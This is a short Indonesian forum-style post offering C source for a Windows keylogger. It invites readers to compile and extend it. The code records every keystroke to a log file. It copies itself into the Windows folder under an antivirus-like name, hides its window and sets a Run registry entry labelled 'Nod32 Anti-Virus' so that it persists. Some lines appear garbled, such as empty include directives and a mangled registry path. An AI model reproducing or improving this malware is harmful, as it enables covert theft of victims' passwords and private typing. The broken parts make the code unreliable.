Ini ada sedikit source untuk yang suka main2 dengan yang
namanya keylogger. Ini script tinggal di compile aja yah, silahkan dikembangin
jika ada yang ingin mengembanginnya..
Code :
===========start================
#include
#include
#define KEY "c:\windows\Nod32Bak.exe"
#define LOG "c:\log.txt"
int keylogging(void)
{
short lul;
while(1)
{
Sleep(5);
for(lul=8;lul<=222;lul++)
{
if(GetAsyncKeyState(lul)==-32767)
{
FILE *fp;
fp = fopen(LOG,"a+");
if(fp == NULL)
{
return 1;
}
if(fp != NULL)
{
if((lul >= 39) && (lul <= 64))
{
fputc(lul,fp);
fclose(fp);
break;
}
else if((lul > 64) && (lul < 91))
{
lul+=32;
fputc(lul,fp);
fclose(fp);
break;
}
else
{
switch(lul)
{
case VK_SPACE:
fputc(' ',fp);
fclose(fp);
break;
case VK_SHIFT:
fputs("[SHIFT]",fp);
printf("[SHIFT]");
fclose(fp);
break;
case VK_RETURN:
fputs(" [ENTER]",fp);
fclose(fp);
break;
case VK_BACK:
fputs("[BACKSPACE]",fp);
fclose(fp);
break;
case VK_TAB:
fputs("[TAB]",fp);
fclose(fp);
break;
case VK_CONTROL:
fputs("[CTRL]",fp);
fclose(fp);
break;
case VK_DELETE:
fputs("[DEL]",fp);
fclose(fp);
break;
case VK_OEM_1:
fputs("[;:]",fp);
fclose(fp);
break;
case VK_OEM_2:
fputs("[/?]",fp);
fclose(fp);
break;
case VK_OEM_3:
fputs("[`~]",fp);
fclose(fp);
break;
case VK_OEM_4:
fputs("[ [{ ]",fp);
fclose(fp);
break;
case VK_OEM_5:
fputs("[\|]",fp);
fclose(fp);
break;
case VK_OEM_6:
fputs("[ ]} ]",fp);
fclose(fp);
break;
case VK_OEM_7:
fputs("['"]",fp);
fclose(fp);
break;
case VK_NUMPAD0:
fputc('0',fp);
fclose(fp);
break;
case VK_NUMPAD1:
fputc('1',fp);
fclose(fp);
break;
case VK_NUMPAD2:
fputc('2',fp);
fclose(fp);
break;
case VK_NUMPAD3:
fputc('3',fp);
fclose(fp);
break;
case VK_NUMPAD4:
fputc('4',fp);
fclose(fp);
break;
case VK_NUMPAD5:
fputc('5',fp);
fclose(fp);
break;
case VK_NUMPAD6:
fputc('6',fp);
fclose(fp);
break;
case VK_NUMPAD7:
fputc('7',fp);
fclose(fp);
break;
case VK_NUMPAD8:
fputc('8',fp);
fclose(fp);
break;
case VK_NUMPAD9:
fputc('9',fp);
fclose(fp);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",fp);
fclose(fp);
break;
default:
fclose(fp);
break;
}
}
}
}
}
}
}
int main(int argc, char **argv)
{
CopyFile(argv[0], KEY, 0);
HWND own = FindWindow(0,argv[0]);
ShowWindow(own, SW_HIDE);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\Mcft\Windows\CurrentVersion\Run",0,KEY_SET_VALUE,&hKey);
RegSetValueEx(hKey,"Nod32 Anti-Virus",0,REG_SZ,(const
unsigned char*)KEY,sizeof(KEY));
RegCloseKey(hKey);
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)keylogging,0,0,0);
system("pause");
}
=============END==============
--- Diambil dari www.jasakom.com
---
--- Edit by aredie ---
|